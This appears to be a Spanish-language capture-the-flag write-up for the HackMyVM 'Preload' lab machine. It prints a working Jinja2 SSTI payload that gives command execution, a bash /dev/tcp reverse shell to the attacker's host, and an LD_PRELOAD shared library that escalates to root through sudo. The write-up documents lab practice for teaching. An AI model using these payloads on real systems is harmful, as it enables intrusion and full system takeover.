cd ~/blog

~/writeups/hmv/065-preload.md

065 - Preload

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Server-Side Template Injection (SSTI)Remote Code ExecutionLD_PRELOAD Privesc
hackmyvm.eu/machines/machine.php?vm=Preload

~2 min de lectura


Reconocimiento

Identificamos la IP de la víctima:

❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.151	08:00:27:8e:15:d6	PCS Systemtechnik GmbH

Enumeración de servicios

El escaneo completo identifica SSH, HTTP y un servicio en 5000. El fingerprint de Nmap propone landesk-rc, pero la conexión directa demuestra que el servicio real inicia una aplicación Flask en el puerto 50000; tratamos el nombre de Nmap sólo como una conjetura inicial:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.151
[sudo] contraseña para wh01s17:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-24 23:16 -0400
Nmap scan report for 192.168.1.151
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp
MAC Address: 08:00:27:8E:15:D6 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.96 seconds
❯ nmap -sCV -p 22,80,5000 -oN 02-targeted.txt 192.168.1.151
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-24 23:16 -0400
Nmap scan report for 192.168.1.151
Host is up (0.00043s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 4f:4c:82:94:2b:99:f8:ea:67:ff:67:3c:06:8a:71:b5 (RSA)
|   256 c4:2c:9b:c8:12:93:2f:8a:f1:57:1c:f6:ab:88:b9:61 (ECDSA)
|_  256 10:18:7b:11:c4:c3:d4:1a:54:cc:18:68:14:bb:2e:a7 (ED25519)
80/tcp   open  http       nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Welcome to nginx!
5000/tcp open  landesk-rc LANDesk remote management
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.80 seconds

Nos conectamos al puerto 5000 y observamos el banner que inicia Flask:

❯ nc 192.168.1.151 5000
 * Serving Flask app 'code' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on http://192.168.1.151:50000/ (Press CTRL+C to quit)

El mensaje confirma que la aplicación queda disponible en el puerto 50000.

La ruta raíz devuelve Internal Server Error, por lo que buscamos parámetros que cambien la respuesta.

Fuzzeamos en busca de parámetros:

❯ ffuf -u 'http://192.168.1.151:50000/?FUZZ=/etc/passwd' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -fs 290
...
cmd                   [Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 515ms]
...

El parámetro cmd produce una respuesta distinta y, vacío, muestra un mensaje de bienvenida:

❯ curl 'http://192.168.1.151:50000/?cmd='
Welcome!!!!!!!!!!!!!

Al enviar texto ordinario, la aplicación lo refleja:

❯ curl 'http://192.168.1.151:50000/?cmd=hello'
hello

Server-Side Template Injection (SSTI)

La reflexión por sí sola no prueba una vulnerabilidad. Enviamos {{7*7}} y recibimos 49, lo que demuestra que el servidor evalúa la entrada como una expresión de plantilla. La variable config expone además un objeto de configuración de Flask, consistente con Jinja2. Esto confirma Server-Side Template Injection (SSTI):

❯ curl "http://192.168.1.151:50000/?cmd=\{\{7*7\}\}"
49
❯ curl "http://192.168.1.151:50000/?cmd=\{\{config\}\}"
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

El siguiente payload recorre las subclases de Python hasta alcanzar objetos que exponen __builtins__, importa os y entrega el parámetro input a popen. De esta forma, una expresión de plantilla se convierte en ejecución de órdenes:

{%
    for x in ().__class__.__base__.__subclasses__()
%}
    {%
        if "warning" in x.__name__
    %}
        {{
            x()._module.__builtins__['__import__']('os').popen(request.args.input).read()
        }}
    {% endif %}
{% endfor %}

La misma expresión en una línea queda así:

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}&input=whoami

Al enviar la expresión codificada para URL con input=whoami, la respuesta identifica al usuario paul. Esto valida Remote Code Execution con los permisos de la aplicación.

Obtenemos una shell, inyectando una reverse shell:

http://192.168.1.151:50000/?cmd=...&input=bash -c "bash -i >& /dev/tcp/192.168.1.5/1234 0>&1"

url encoded:

http://192.168.1.151:50000/?cmd={%%20for%20x%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20%22warning%22%20in%20x.__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(request.args.input).read()}}{%endif%}{%endfor%}&input=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.5/1234%200%3E%261%22
❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.151:43980.
bash: cannot set terminal process group (360): Inappropriate ioctl for device
bash: no job control in this shell
paul@preload:/$

Obtenemos una shell de paul y la primera flag.

LD_PRELOAD Privesc

Para escalar privilegios, revisamos sudo -l:

paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
    env_reset, mail_badpass, env_keep+=LD_PRELOAD,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User paul may run the following commands on preload:
    (root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail,
        /usr/bin/head, /usr/bin/ss

Aunque sudo normalmente elimina variables peligrosas, env_keep+=LD_PRELOAD conserva expresamente LD_PRELOAD. Esto habilita LD_PRELOAD Pivesc: el cargador dinámico introduce nuestra biblioteca en uno de los binarios autorizados antes de ejecutar su función principal. Como ss se inicia con UID 0, _init() también corre como root, elimina la variable para evitar recursión y abre Bash:

❯ cat pwned.c
#include <stdlib.h>
#include <unistd.h>
void _init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  system("/bin/bash");
}

Copiamos la fuente a la víctima, compilamos la biblioteca compartida y la precargamos al ejecutar ss mediante sudo:

paul@preload:/tmp$ gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles

paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/pwned.so ss

root@preload:/tmp#

Obtenemos la última flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados